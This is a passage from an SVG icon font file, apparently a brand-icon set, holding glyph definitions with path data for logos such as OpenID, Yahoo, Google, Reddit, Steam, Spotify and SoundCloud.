    <glyph glyph-name="openid" unicode="&#xf19b;" 
d="M271.5 16l-68 -32c-115 10.2998 -203.5 71.5 -203.5 145.8c0 71.5 82.5 131 191.7 144.3v-43c-71.5 -12.5 -124 -53 -124 -101.3c0 -51 58.5 -93.2998 135.7 -103v340l68 33.2002v-384h0.0996094zM448 157l-131.3 28.5l36.7998 20.7002c-19.5 11.5 -43.5 20 -70 24.7998
v43c46.2002 -5.5 87.7002 -19.5 120.3 -39.2998l35 19.7998z" />
    <glyph glyph-name="yahoo" unicode="&#xf19e;" 
d="M252 156l4 -220c-12.7002 2.2002 -23.5 3.90039 -32.2998 3.90039c-8.40039 0 -19.2002 -1.7002 -32.2998 -3.90039l4 220c-55 94.7998 -110.4 196.8 -174 292c11.8994 -3.09961 23 -3.90039 33.1992 -3.90039c9 0 20.4004 0.800781 34.1006 3.90039
c40.8994 -72.2002 82.0996 -138.7 135 -225.5c37.2998 61.5996 91.0996 144.1 134.899 225.5c11.1006 -2.90039 22 -3.90039 32.9004 -3.90039c11.5 0 23.2002 1 35 3.90039c-34.4004 -47.9004 -131.6 -216.9 -174.5 -292z" />
    <glyph glyph-name="google" unicode="&#xf1a0;" horiz-adv-x="488" 
d="M488 186.2c0 -141.5 -96.9004 -242.2 -240 -242.2c-137.2 0 -248 110.8 -248 248s110.8 248 248 248c66.7998 0 123 -24.5 166.3 -64.9004l-67.5 -64.8994c-88.2998 85.2002 -252.5 21.2002 -252.5 -118.2c0 -86.5 69.1006 -156.6 153.7 -156.6
c98.2002 0 135 70.3994 140.8 106.899h-140.8v85.2998h236.1c2.30078 -12.6992 3.90039 -24.8994 3.90039 -41.3994z" />
    <glyph glyph-name="reddit" unicode="&#xf1a1;" horiz-adv-x="512" 
d="M201.5 142.5c-13.7998 0 -24.9004 11.0996 -24.9004 24.5996c0 13.8008 11.1006 24.9004 24.9004 24.9004c13.5996 0 24.5996 -11.0996 24.5996 -24.9004c0 -13.5996 -11.0996 -24.5996 -24.5996 -24.5996zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248
s111 248 248 248s248 -111 248 -248zM371.7 233.2c-9.40039 0 -17.7002 -3.90039 -23.7998 -10c-22.4004 15.5 -52.6006 25.5 -86.1006 26.5996l17.4004 78.2998l55.3994 -12.5c0 -13.5996 11.1006 -24.5996 24.6006 -24.5996c13.7998 0 24.8994 11.2998 24.8994 24.9004
c0 13.5996 -11.0996 24.8994 -24.8994 24.8994c-9.7002 0 -18 -5.7998 -22.1006 -13.7998l-61.1992 13.5996c-3 0.800781 -6.10059 -1.39941 -6.90039 -4.39941l-19.0996 -86.4004c-33.2002 -1.39941 -63.1006 -11.2998 -85.5 -26.7998
c-6.10059 6.40039 -14.7002 10.2002 -24.1006 10.2002c-34.8994 0 -46.2998 -46.9004 -14.3994 -62.7998c-1.10059 -5 -1.7002 -10.2002 -1.7002 -15.5c0 -52.6006 59.2002 -95.2002 132 -95.2002c73.0996 0 132.3 42.5996 132.3 95.2002
c0 5.2998 -0.599609 10.7998 -1.90039 15.7998c31.3008 16 19.8008 62.5 -14.8994 62.5zM302.8 117c2.2002 2.2002 6.10059 2.2002 8.2998 0c2.5 -2.5 2.5 -6.40039 0 -8.59961c-22.8994 -22.8008 -87.3994 -22.8008 -110.199 0c-2.5 2.19922 -2.5 6.09961 0 8.59961
c2.19922 2.2002 6.09961 2.2002 8.2998 0c17.5 -17.9004 75.3994 -18.2002 93.5996 0zM310.5 192c13.9004 0 24.9004 -11.0996 24.9004 -24.9004c0 -13.5 -11.1006 -24.5996 -24.9004 -24.5996c-13.5 0 -24.5996 11 -24.5996 24.5996c0 13.8008 11 24.9004 24.5996 24.9004z
" />
    <glyph glyph-name="reddit-square" unicode="&#xf1a2;" 
d="M283.2 102.5c2.7002 -2.7002 2.7002 -6.7998 0 -9.2002c-24.5 -24.5 -93.7998 -24.5996 -118.4 0c-2.7002 2.40039 -2.7002 6.5 0 9.2002c2.40039 2.40039 6.5 2.40039 8.90039 0c18.7002 -19.2002 81 -19.5996 100.5 0c2.39941 2.2998 6.59961 2.2998 9 0zM191.9 156.3
c0 -14.5996 -11.9004 -26.5 -26.5 -26.5c-14.9004 0 -26.8008 11.9004 -26.8008 26.5c0 14.9004 11.9004 26.7998 26.8008 26.7998c14.5996 0 26.5 -11.8994 26.5 -26.7998zM282.6 183.1c14.9004 0 26.8008 -11.8994 26.8008 -26.7998
c0 -14.5996 -11.9004 -26.5 -26.8008 -26.5c-14.5996 0 -26.5 11.9004 -26.5 26.5c0 14.9004 11.9004 26.7998 26.5 26.7998zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM348.3 227.4
c-10.0996 0 -19 -4.2002 -25.5996 -10.7002c-24.1006 16.7002 -56.5 27.3994 -92.5 28.5996l18.7002 84.2002l59.5 -13.4004c0 -14.5996 11.8994 -26.5 26.5 -26.5c14.8994 0 26.7998 12.2002 26.7998 26.8008c0 14.5996 -11.9004 26.7998 -26.7998 26.7998
c-10.4004 0 -19.3008 -6.2002 -23.8008 -14.9004l-65.6992 14.6006c-3.30078 0.899414 -6.5 -1.5 -7.40039 -4.80078l-20.5 -92.7998c-35.7002 -1.5 -67.7998 -12.2002 -91.9004 -28.8994c-6.5 6.7998 -15.7998 11 -25.8994 11c-37.5 0 -49.7998 -50.4004 -15.5 -67.5
c-1.2002 -5.40039 -1.7998 -11 -1.7998 -16.7002c0 -56.5 63.6992 -102.3 141.899 -102.3c78.5 0 142.2 45.7998 142.2 102.3c0 5.7002 -0.599609 11.5996 -2.09961 17c33.5996 17.2002 21.1992 67.2002 -16.1006 67.2002z" />
    <glyph glyph-name="stumbleupon-circle" unicode="&#xf1a3;" horiz-adv-x="496" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 262.5c9.7998 0 17.7998 -8 17.7002 -17.5996v-20.6006l22.8994 -10.7002l34.1006 10.1006v23.7002c0 40.2998 -34 72.5996 -74.7002 72.5996
c-40.5 0 -74.7002 -32.0996 -74.7002 -72.0996v-108.4c0 -9.90039 -8 -17.7998 -17.7998 -17.7998s-17.7998 7.7998 -17.7998 17.7998v45.7998h-57.2998v-46.5c0 -41.3994 33.5 -74.8994 74.8994 -74.8994c41 0 74.9004 33 74.9004 73.8994v106.9
c0 9.7998 8 17.7998 17.7998 17.7998zM423.6 138.9c0 0 0 0.5 0.100586 46.3994h-57.2998v-48c0 -9.7002 -8 -17.5996 -17.8008 -17.5996c-9.7998 0 -17.7998 7.7998 -17.7998 17.5996v47.1006l-34.0996 -10.1006l-22.9004 10.7002v-46.7998
c0 -41 33.7002 -74.2002 74.9004 -74.2002c41.3994 0 74.8994 33.5 74.8994 74.9004z" />
    <glyph glyph-name="stumbleupon" unicode="&#xf1a4;" horiz-adv-x="512" 
d="M502.9 182v-69.7002c0 -62.0996 -50.3008 -112.399 -112.4 -112.399c-61.7998 0 -112.4 49.7998 -112.4 111.3v70.2002l34.3008 -16l51.0996 15.1992v-70.5996c0 -14.7002 12 -26.5 26.7002 -26.5s26.7998 11.7998 26.7998 26.5v72h85.9004zM278.2 240.2v30.8994
c0 14.7002 -12 26.7002 -26.7002 26.7002s-26.7002 -12 -26.7002 -26.7002v-160.3c0 -61.2998 -50.7998 -110.8 -112.399 -110.8c-62.1006 0 -112.4 50.2998 -112.4 112.3v69.7002h86v-68.5996c0 -14.9004 12 -26.7002 26.7002 -26.7002s26.7002 11.7998 26.7002 26.7002
v162.399c0 60 51.2998 108.2 112.1 108.2c61 0 112.1 -48.5 112.1 -109v-35.5996l-51.0996 -15.2002z" />
    <glyph glyph-name="delicious" unicode="&#xf1a5;" 
d="M446.5 380c1 -3.7998 1.5 -7.90039 1.59961 -12v-352.1c0 -26.5 -21.5 -48 -48 -48h-352c-4.09961 0 -8.19922 0.5 -12 1.5c-7.69922 2 -14.5996 5.7998 -20.2998 11c-1.2002 1.09961 -2.2998 2.19922 -3.2998 3.2998c-5.2002 5.7002 -9 12.5996 -11 20.2998
c-1 3.7998 -1.5 7.90039 -1.5 12v352c0 26.5 21.5 48 48 47.9004h352c4.09961 0 8.2002 -0.5 12 -1.5c1.90039 -0.400391 3.7002 -1 5.40039 -1.7002c1.89941 -0.700195 3.69922 -1.5 5.5 -2.5c1.39941 -0.700195 2.69922 -1.5 4 -2.40039
c1.09961 -0.799805 2.19922 -1.59961 3.2998 -2.5c2.5 -2 4.7998 -4.2998 6.89941 -6.7998c1.7002 -2.09961 3.30078 -4.5 4.7002 -6.90039c1.2998 -2.2998 2.40039 -4.59961 3.2998 -7.09961c0.5 -1.5 1 -3 1.40039 -4.5zM416 16v176h-192v192h-176
c-8.7998 0 -16 -7.2002 -16 -16v-176h192v-192h176c8.7998 0 16 7.2002 16 16z" />
    <glyph glyph-name="digg" unicode="&#xf1a6;" horiz-adv-x="512" 
d="M81.7002 275.7v76.2998h51v-250.7h-132.7v174.4h81.7002zM81.7002 142.3v92.2998h-30.7998v-92.2998h30.7998zM378.9 275.7h133.1v-243.7h-133.1v40.7998h81.7998v28.5h-81.7998v174.4zM460.7 142.3v92.2998h-30.7998v-92.2998h30.7998zM225.1 101.3v174.4h133.301
v-243.7h-133.301v40.7998h82.1006v28.5h-82.1006zM276.3 234.6v-92.2998h30.7998v92.2998h-30.7998zM153.3 352h51.2998v-51h-51.2998v51zM153.3 275.7h51.2998v-174.4h-51.2998v174.4z" />
    <glyph glyph-name="pied-piper-pp" unicode="&#xf1a7;" 
d="M205.3 273.4c0 -21.1006 -14.2002 -38.1006 -31.7002 -38.1006c-7.09961 0 -12.7998 1.2002 -17.1992 3.7002v68c4.39941 2.7002 10.0996 4.2002 17.1992 4.2002c17.5 0 31.7002 -16.9004 31.7002 -37.7998zM257.9 206.4c17.3994 0 31.6992 -17 31.6992 -38.1006
c0 -20.8994 -14.2998 -37.7998 -31.6992 -37.7998c-7.10059 0 -12.8008 1.2002 -17.2002 3.7002v68c4.39941 2.7002 10.0996 4.2002 17.2002 4.2002zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352
c26.5 0 48 -21.5 48 -48zM185 192.9c41 0 74.2002 35.5996 74.2002 79.5996s-33.2002 79.5996 -74.2002 79.5996c-12 0 -24.0996 -3.19922 -34.5996 -8.7998h-45.7002v-206.3l51.7998 10.0996v50.6006c8.59961 -3.10059 18.0996 -4.7998 28.5 -4.7998zM343.4 167.6
c0 44 -33.2002 79.6006 -73.9004 79.6006c-3.2002 0 -6.40039 -0.200195 -9.59961 -0.700195c-3.7002 -12.5 -10.1006 -23.7998 -19.2002 -33.4004c-13.7998 -15 -32.2002 -23.7998 -51.7998 -24.7998v-156.3l51.7998 10.0996v50.6006
c8.59961 -3.2002 18.2002 -4.7002 28.7002 -4.7002c40.7998 0 74 35.5996 74 79.5996z" />
    <glyph glyph-name="pied-piper-alt" unicode="&#xf1a8;" horiz-adv-x="576" 
d="M244 202l-27.7002 -5.7002l-1.7002 4.90039c6.7002 0.5 12.7002 3.7002 19.3008 3.7002c3.7998 0 6.89941 -0.900391 10.0996 -2.90039zM379.9 4.09961c9.5 0 28.1992 -45.0996 33 -55.0996c-35.9004 -13.4004 -70.3008 -15.9004 -106 -9.7998l-6.90039 45.0996
c15.7998 10.2998 60.9004 19.7998 79.9004 19.7998zM340.8 271c-7.59961 3.5 -63.8994 6.40039 -98.7998 -10c6.2998 11.7998 13.2002 17 25.9004 21.7998c27.2998 10.2998 40.1992 30.5 58.8994 51.1006c11.9004 -8.40039 12 -24.6006 31.6006 -23v-21.8008
l6.2998 -0.299805c37.3994 14.4004 74.7002 30.2002 106.6 54.6006c48.2998 36.7998 52.9004 50 81.2998 100l2 2.59961c-0.599609 -14.0996 -6.2998 -27.2998 -12.3994 -39.9004c-30.5 -63.7998 -78.7002 -100.3 -146.8 -116.699
c-12.4004 -2.90039 -26.4004 -3.2002 -37.6006 -8.90039c1.40039 -9.7998 13.2002 -18.0996 13.2002 -23c0 -3.40039 -5.5 -7.2002 -7.5 -8.59961c-11.2002 12.8994 -16.0996 19.2998 -22.7002 22.0996zM555.5 448l-0.299805 -1.40039l-0.600586 -0.599609
l0.300781 0.900391zM496.3 65.9004c20.1006 -34.2002 43.7002 -54.3008 72.7002 -79.9004c-31 -19.2998 -70.4004 -32.2002 -103.5 -47.2002c-55.2002 46.2998 -23 229.9 -111.5 229.9c-3.5 -0.700195 -2.40039 -0.299805 -4.59961 -1.7002
c1.09961 -1.40039 2.59961 -2.90039 3.69922 -4c23.9004 -20.0996 33.4004 -24.4004 34.8008 -58.5996l0.299805 -9.5c0.799805 -21.6006 -5.5 -42.5 -9.7998 -63.5c-25.9004 0.699219 -51.2002 -11 -77.9004 -2.90039c-0.700195 5.90039 -1.09961 30.9004 0.299805 41.0996
c1.40039 9.5 33.6006 29.9004 33 43.7002c-5.5 0.600586 -9.2002 -2.59961 -12.3994 -6.89941c-13.3008 -19.5 -47.2002 -41.9004 -71.3008 -41.9004c-16.5996 0 -56.2998 71.5 -76.3994 85.9004c-3.2002 2.2998 -5.2002 5.39941 -7.7998 8.59961
c-16.1006 -3.7998 -139.4 -32.2002 -147.4 -32.2002c-6 0 -11.5 4.90039 -11.5 10.9004c0 5.5 3.40039 10.7002 8.90039 11.7998l139.6 30.4004c-9.5 17.1992 12.2998 17.5 21.5 20.0996c3.2002 0.799805 6.2998 4 9.5 4c6.2998 0 11.7998 -8.90039 13.7998 -14.0996
c6.2998 1.39941 45.7002 10.5996 49.4004 10.5996c15.2002 0 15.8994 -20.0996 2.89941 -22.7002l-52.2998 -11.5l-0.299805 -4.59961c-0.299805 -10.1006 45.4004 -60.1006 53.4004 -60.1006c18.0996 0 54.8994 41.7002 54.8994 60.1006
c0 30.7002 -42.7998 12.5996 -42.7998 33.5996c0 3.5 1.2002 6.60059 2.90039 9.7998l-19.5 5.5c13.0996 13.6006 13.7998 31.7002 10.8994 50.3008c14.7002 2.89941 26.7002 4.59961 41.4004 4.59961c56.8994 0 45.7002 -8.59961 65.5 -54.2998l14.3994 7.2002
c-2.2998 -34.2002 -36.1992 -17.5 -35.0996 -31l0.299805 -6c74.7002 2.89941 116.101 -58.6006 150 -115.5zM300.1 19.7998h8.90039l2.90039 -23.7998l-11.8008 -3.40039v27.2002zM231.4 170.2l13.7998 3.5l31.2998 -50.9004l-21 -13.7998zM315.8 15.2998
c22.6006 2.5 32.7002 6.2998 59.5 6.2998c0.299805 -1.39941 0.900391 -3.19922 0.900391 -4.59961c0 -7.5 -49.4004 -12.5996 -58.4004 -14.0996z" />
    <glyph glyph-name="drupal" unicode="&#xf1a9;" 
d="M319.5 333.3c13.5 -8.2998 96.5 -67 96.5 -179.3c0 -112 -88.5 -186 -190.2 -186c-102 0 -193.8 80.2998 -193.8 189.5c0 109 85 167.5 100.8 175.8c18.7002 10.1006 32.2002 15.2998 53.5 32.2998c10.5 8.30078 19.2998 20.2002 22 49.5
c15.2002 -18.2998 33.5 -39.5 46.5 -48.2998c21.2002 -14 42.5 -19.5 64.7002 -33.5zM322 7.7002c4.2002 4.2002 1.90039 13.0996 -4.2002 8.5c-8.5 -6.2998 -27.5 -14 -54.5 -14c-34.5 0 -51.5 13.2998 -51.5 13.2998c-6.2002 0 -11.2998 -7.2002 -6.5 -12
c26.6006 -24.5 96.6006 -15.9004 116.7 4.2002zM267.5 60.2998c-6.5 -2.7002 -28.4004 -16.7998 -22.4004 -25c2.40039 -3.2998 5.2002 -1.2998 12.2002 4.7002c7.2002 5.7998 12 11 26.7002 11c25.2998 0 18.0996 -19.9004 26.5 -15.7002
c9.90039 4.90039 -2.09961 20.9004 -6.2002 23.7002c-7.7998 5.09961 -28.0996 4.90039 -36.7998 1.2998zM360 43c39.0996 -3.2998 64.5 106 15.7998 106c-20 0 -60.5 -41.5 -81.7998 -41.7998c-24.7002 -0.5 -59 49 -108.5 48.5
c-66.4004 -0.400391 -90.5996 -78.6006 -51.7998 -105.2c57.2002 -38.7002 130.399 42.9004 161.3 42c19.5 -0.700195 49.7998 -48.5 65 -49.5z" />
    <glyph glyph-name="joomla" unicode="&#xf1aa;" 
d="M0.599609 355.9c0 33.2998 26.8008 60.0996 59.8008 60.0996c30 0 54.5 -21.9004 59.1992 -50.2002c32.6006 7.60059 67.1006 -0.599609 96.5 -30l-44.2998 -44.2998c-20.5 20.5 -42.5996 16.2998 -55.3994 3.5c-14.3008 -14.2998 -14.3008 -37.9004 0 -52.2002
l99.5 -99.5l-44 -44.2998c-87.7002 87.2002 -49.7002 49.7002 -99.8008 99.7002c-26.7998 26.5 -35 64.7998 -24.7998 98.8994c-26.8994 5.80078 -46.7002 29.7002 -46.7002 58.3008zM130.1 239.5c28.5 28.4004 81.3008 80.7998 99.6006 99.9004
c26.5996 26.5996 64.5 35 98.2998 25.0996c4.09961 29.0996 29.2002 51.5996 59.5 51.5996c33 0 59.7998 -26.8994 59.7998 -60.0996c0 -30.2998 -22.7002 -55.4004 -51.8994 -59.5c9.59961 -33.5996 2.2998 -70 -28.9004 -101.2l-44 44.2998
c20.5 20.4004 16.2998 42.6006 3.5 55.4004c-14.2998 14.2998 -37.5996 14.2998 -51.9004 0c-10 -10.0996 -89.6992 -89.7998 -99.6992 -99.7998zM396.4 87.2998c29.0996 -4.09961 51.5996 -28.8994 51.5996 -59.0996c0 -33.2998 -26.7998 -60.1006 -59.7998 -60.1006
c-29.2002 0 -53.4004 20.7002 -58.9004 48.1006c-34.7002 -10.7998 -75.0996 -2.2002 -102.7 28l44 44.2998c20.4004 -20.5 42.6006 -16.2998 55.4004 -3.5c14.2998 14.2998 14.2998 37.5996 0 51.9004l-99.7002 99.6992l44.2998 44.3008
c104.5 -104.4 87.7002 -87.5 99.5 -99.7002c25.4004 -25.4004 34.5 -61.2002 26.3008 -93.9004zM312.1 140.4c-87.2998 -87.3008 -67.3994 -67.7002 -99.5 -99.7002c-25.6992 -25.4004 -61.5 -34.2002 -94.1992 -26c-6.10059 -26.9004 -30 -46.7002 -58.6006 -46.7002
c-33 0 -59.7998 26.7998 -59.7998 60.0996c0 28.3008 19.5 52.2002 46.2002 58.2002c-8.5 33.1006 -0.700195 68.1006 29.5 98.2998l44 -44.2998c-20.1006 -20.0996 -16.2998 -42 -3.2002 -55.3994c14.2998 -14.3008 37.5996 -14.3008 51.9004 0
c49.2998 49.3994 12.6992 13.3994 99.6992 99.7998z" />
    <glyph glyph-name="behance" unicode="&#xf1b4;" horiz-adv-x="576" 
d="M232 210.8c43.5996 -12.2998 64.7002 -45.2002 64.7002 -89.7002c0 -72 -60.5 -102.899 -124.9 -102.899h-171.8v354.399h167.1c60.7002 0 113.301 -17.1992 113.301 -87.7998c0 -35.7998 -16.6006 -58.7998 -48.4004 -74zM77.9004 312.1v-82.6992h79
c27.7998 0 47.5 12.0996 47.5 42.1992c0 32.6006 -25.3008 40.5 -53.4004 40.5h-73.0996zM161.2 78.4004c31.7002 0 57.5996 11.1992 57.5996 47c0 36.2998 -21.7002 50.5996 -56 50.5996h-84.8994v-97.5996h83.2998zM519.7 319.1h-143.7v34.9004h143.7v-34.9004zM576 142.8
c0 -4.5 -0.299805 -9 -0.599609 -13.2002h-185.101c0 -41.0996 21.7002 -65.2998 63 -65.2998c21.4004 0 49 11.6006 55.7002 33.5h62.2002c-19.1006 -58.7002 -58.7998 -86.2998 -120.101 -86.2998c-81 0 -131.3 54.7998 -131.3 134.7c0 77 53.1006 135.8 131.3 135.8
c80.5 0 124.9 -63.2998 124.9 -139.2zM390.4 174h114.699c-3 34 -20.7998 54.7998 -56.1992 54.7998c-33.8008 0 -56.2002 -21.0996 -58.5 -54.7998z" />
    <glyph glyph-name="behance-square" unicode="&#xf1b5;" 
d="M186.5 155c0 -19.2998 -14 -25.4004 -31.2002 -25.4004h-45.0996v52.9004h46c18.5996 -0.0996094 30.2998 -7.7998 30.2998 -27.5zM178.8 237.3c0 -16.2998 -10.7002 -22.8994 -25.7998 -22.8994h-42.7002v44.7998h39.6006c15.1992 0 28.8994 -4.2002 28.8994 -21.9004z
M311.1 214.1c19.2002 0 28.8008 -11.1992 30.5 -29.6992h-62.1992c1.19922 18.2998 13.3994 29.6992 31.6992 29.6992zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM271.7 263h77.7998
v18.9004h-77.7998v-18.9004zM228.7 152.7c0 24.0996 -11.4004 44.8994 -35 51.5996c17.2002 8.2002 26.2002 17.7002 26.2002 37c0 38.2002 -28.5 47.5 -61.4004 47.5h-90.5v-192h93.0996c34.9004 0.200195 67.6006 16.9004 67.6006 55.9004zM380 167.5
c0 41.0996 -24.0996 75.4004 -67.5996 75.4004c-42.4004 0 -71.1006 -31.8008 -71.1006 -73.6006c0 -43.2998 27.2998 -73 71.1006 -73c33.1992 0 54.6992 14.9004 65.0996 46.7998h-33.7002c-3.7002 -11.8994 -18.5996 -18.0996 -30.2002 -18.0996
c-22.3994 0 -34.0996 13.0996 -34.0996 35.2998h100.2c0.0996094 2.2998 0.299805 4.7998 0.299805 7.2002z" />
    <glyph glyph-name="steam" unicode="&#xf1b6;" horiz-adv-x="496" 
d="M496 192c0 -137 -111.2 -248 -248.4 -248c-113.8 0 -209.6 76.2998 -239 180.4l95.2002 -39.3008c6.40039 -32.0996 34.9004 -56.3994 68.9004 -56.3994c39.2002 0 71.8994 32.3994 70.2002 73.5l84.5 60.2002c52.0996 -1.30078 95.7998 40.8994 95.7998 93.5
c0 51.5996 -42 93.5 -93.7002 93.5s-93.7002 -42 -93.7002 -93.5v-1.2002l-59.2002 -85.7002c-15.5 0.900391 -30.6992 -3.40039 -43.5 -12.0996l-133.1 55c10.2002 127.699 117.1 228.1 247.6 228.1c137.2 0 248.4 -111 248.4 -248zM155.7 63.7002
c19.7998 -8.2002 42.5 1.09961 50.7998 21c8.2998 19.7998 -1.09961 42.5 -20.9004 50.7002l-31.5 13c12.2002 4.59961 26 4.7998 38.9004 -0.600586c13 -5.39941 23.0996 -15.5996 28.5 -28.5996s5.2998 -27.2998 -0.0996094 -40.2998
c-11.2002 -26.8008 -42.1006 -39.6006 -69 -28.4004c-10.2119 4.26953 -22.3975 15.8281 -27.2002 25.7998zM329.5 193.6c-34.4004 0 -62.4004 28 -62.4004 62.3008c0 34.2998 28 62.2998 62.4004 62.2998s62.4004 -28 62.4004 -62.2998
c0 -34.3008 -27.9004 -62.3008 -62.4004 -62.3008zM329.6 209.2c25.9004 0 46.9004 21 46.9004 46.7998c0 25.9004 -21 46.7998 -46.9004 46.7998c-25.8994 0 -46.8994 -21 -46.8994 -46.7998c0.0996094 -25.7998 21.0996 -46.7998 46.8994 -46.7998z" />
    <glyph glyph-name="steam-square" unicode="&#xf1b7;" 
d="M185.2 91.5c7.7002 18.5 -1 39.7002 -19.6006 47.4004l-29.5 12.1992c11.4004 4.30078 24.3008 4.5 36.4004 -0.5c12.2002 -5.09961 21.5996 -14.5996 26.7002 -26.6992c5 -12.2002 5 -25.6006 -0.100586 -37.7002c-10.5 -25.1006 -39.3994 -37 -64.5996 -26.5
c-11.5996 4.7998 -20.4004 13.5996 -25.4004 24.2002l28.5 -11.8008c18.6006 -7.7998 39.9004 0.900391 47.6006 19.4004zM400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v112.8l89.0996 -36.8994
c6 -30 32.7002 -52.7002 64.5 -52.7002c36.6006 0 67.3008 30.2998 65.7002 68.7998l79 56.2998c48.7002 -1.2002 89.6006 38.2998 89.6006 87.5c0 48.2002 -39.3008 87.5 -87.6006 87.5s-87.5996 -39.2998 -87.5996 -87.5v-1.09961l-55.4004 -80.2002
c-14.5 0.799805 -28.7002 -3.09961 -40.7002 -11.2998l-116.6 48.0996v160.7c0 26.5 21.5 48 48 48h352zM300.3 193.5c-32.2002 0 -58.3994 26.0996 -58.3994 58.2998s26.1992 58.2998 58.3994 58.2998s58.4004 -26.1992 58.4004 -58.2998
c0 -32.0996 -26.2002 -58.2998 -58.4004 -58.2998zM300.4 208.1c24.1992 0 43.8994 19.6006 43.8994 43.8008c0 24.1992 -19.5996 43.7998 -43.8994 43.7998c-24.2002 0 -43.9004 -19.6006 -43.9004 -43.7998c0 -24.2002 19.7002 -43.8008 43.9004 -43.8008z" />
    <glyph glyph-name="spotify" unicode="&#xf1bc;" horiz-adv-x="496" 
d="M248 440c136.9 0 248 -111.1 248 -248s-111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248zM348.7 75.0996c8.09961 0 15.2002 6.30078 15.2002 15.4004s-3.60059 12.5996 -9.7002 16.5c-71.4004 42.7002 -155.101 44.2998 -237 26.2002
c-7.5 -1.60059 -13.6006 -6.5 -13.6006 -16.7998c0 -8.10059 6.10059 -15.8008 15.8008 -15.8008c2.89941 0 8 1.60059 11.8994 2.60059c71.7002 14.7002 144.3 13.0996 206.7 -24.5c3.90039 -2.2998 6.5 -3.60059 10.7002 -3.60059zM375.6 140.7
c10.9004 0 19.3008 8.7002 19.4004 19.5c0 8.7002 -3.2002 14.8994 -11.2998 19.7002c-49.4004 29.3994 -112.101 45.5 -177 45.5c-41.6006 0 -70 -5.80078 -97.7998 -13.6006c-10.3008 -2.89941 -15.5 -10 -15.5 -20.7002c0 -10.6992 8.69922 -19.3994 19.3994 -19.3994
c4.5 0 7.10059 1.2998 11.9004 2.59961c82.8994 22.5 176.1 7.60059 238.6 -29.3994c3.60059 -1.90039 7.10059 -4.2002 12.2998 -4.2002zM406.6 216.9c12.2002 0 23.2002 9.69922 23.2002 23.2998c0 11.8994 -5.09961 18.0996 -12.8994 22.5996
c-55.9004 32.6006 -132.4 47.7998 -205.4 47.7998c-42.9004 0 -82.2998 -4.89941 -117.5 -15.1992c-9 -2.60059 -17.4004 -10.3008 -17.4004 -23.9004c0 -13.2998 10.1006 -23.5996 23.3008 -23.5996c4.7998 0 9.2998 1.59961 12.8994 2.59961
c82.4004 23 209.7 12.7998 280.9 -29.7002c4.5 -2.59961 7.7002 -3.89941 12.8994 -3.89941z" />
    <glyph glyph-name="deviantart" unicode="&#xf1bd;" horiz-adv-x="320" 
d="M320 354.8l-98.2002 -179.1l7.40039 -9.5h90.7998v-127.7h-160.9l-13.5 -9.2002l-43.6992 -84c-0.300781 0 -8.60059 -8.59961 -9.2002 -9.2002h-92.7002v93.2002l93.2002 179.4l-7.40039 9.2002h-85.7998v127.6h156l13.5 9.2002l43.7002 84
c0.299805 0 8.59961 8.59961 9.2002 9.2002h97.5996v-93.1006z" />
    <glyph glyph-name="soundcloud" unicode="&#xf1be;" horiz-adv-x="640" 
d="M111.4 191.7l5.7998 -65l-5.7998 -68.2998c-0.300781 -2.5 -2.2002 -4.40039 -4.40039 -4.40039s-4.2002 1.90039 -4.2002 4.40039l-5.59961 68.2998l5.59961 65c0 2.2002 1.90039 4.2002 4.2002 4.2002c2.2002 0 4.09961 -2 4.40039 -4.2002zM132.8 237.3
c2.5 0 4.7002 -2.2002 4.7002 -5l5.7998 -105.6l-5.7998 -68.2998c0 -2.80078 -2.2002 -5 -4.7002 -5c-2.7998 0 -4.7002 2.19922 -5 5l-5 68.2998l5 105.6c0.299805 2.7998 2.2002 5 5 5zM158.3 261.4c2.7998 0 5.2998 -2.2002 5.2998 -5.30078l5.30078 -130
l-5.30078 -67.7998c0 -3.09961 -2.5 -5.2998 -5.2998 -5.2998c-3.09961 0 -5.2998 2.2002 -5.59961 5.2998l-4.40039 67.7998l4.40039 130c0.299805 3.10059 2.5 5.30078 5.59961 5.30078zM7.2002 164.8c1.39941 0 2.2002 -1.09961 2.5 -2.5l5.59961 -35.5996l-5.59961 -35
c-0.299805 -1.40039 -1.10059 -2.5 -2.5 -2.5c-1.40039 0 -2.2002 1.09961 -2.5 2.5l-4.7002 35l4.7002 35.5996c0.299805 1.40039 1.09961 2.5 2.5 2.5zM30.7998 186.7c1.40039 0 2.5 -1.10059 2.7998 -2.5l7.2002 -57.5l-7.2002 -56.4004
c-0.299805 -1.39941 -1.39941 -2.5 -2.7998 -2.5c-1.39941 0 -2.5 1.10059 -2.5 2.7998l-6.39941 56.1006l6.39941 57.5c0 1.39941 1.10059 2.5 2.5 2.5zM56.0996 198.1c1.7002 0 3.10059 -1.39941 3.10059 -3.2998l6.89941 -68.0996l-6.89941 -65.7998
c0 -1.7002 -1.40039 -3.10059 -3.10059 -3.10059c-1.59961 0 -3 1.40039 -3.2998 3.10059l-5.7998 65.7998l5.7998 68.0996c0.200195 1.90039 1.60059 3.2998 3.2998 3.2998zM81.4004 200.3c1.89941 0 3.59961 -1.39941 3.89941 -3.59961l6.40039 -70l-6.40039 -67.7998
c-0.299805 -2.2002 -2 -3.60059 -3.89941 -3.60059c-1.90039 0 -3.60059 1.40039 -3.60059 3.60059l-5.7998 67.7998l5.7998 70c0 2.2002 1.7002 3.59961 3.60059 3.59961zM322.8 311.2c2.5 -1.40039 4.10059 -4.2002 4.5 -7.2002l3.90039 -177.5l-3.90039 -64.2002
c0 -4.7002 -3.89941 -8.59961 -8.59961 -8.59961s-8.60059 3.89941 -8.90039 8.59961l-1.7002 31.7002l-1.69922 32.5l3.2998 176.7v0.799805c0.200195 2.5 1.39941 5 3.2998 6.7002c1.40039 1.09961 3.40039 1.89941 5.59961 1.89941
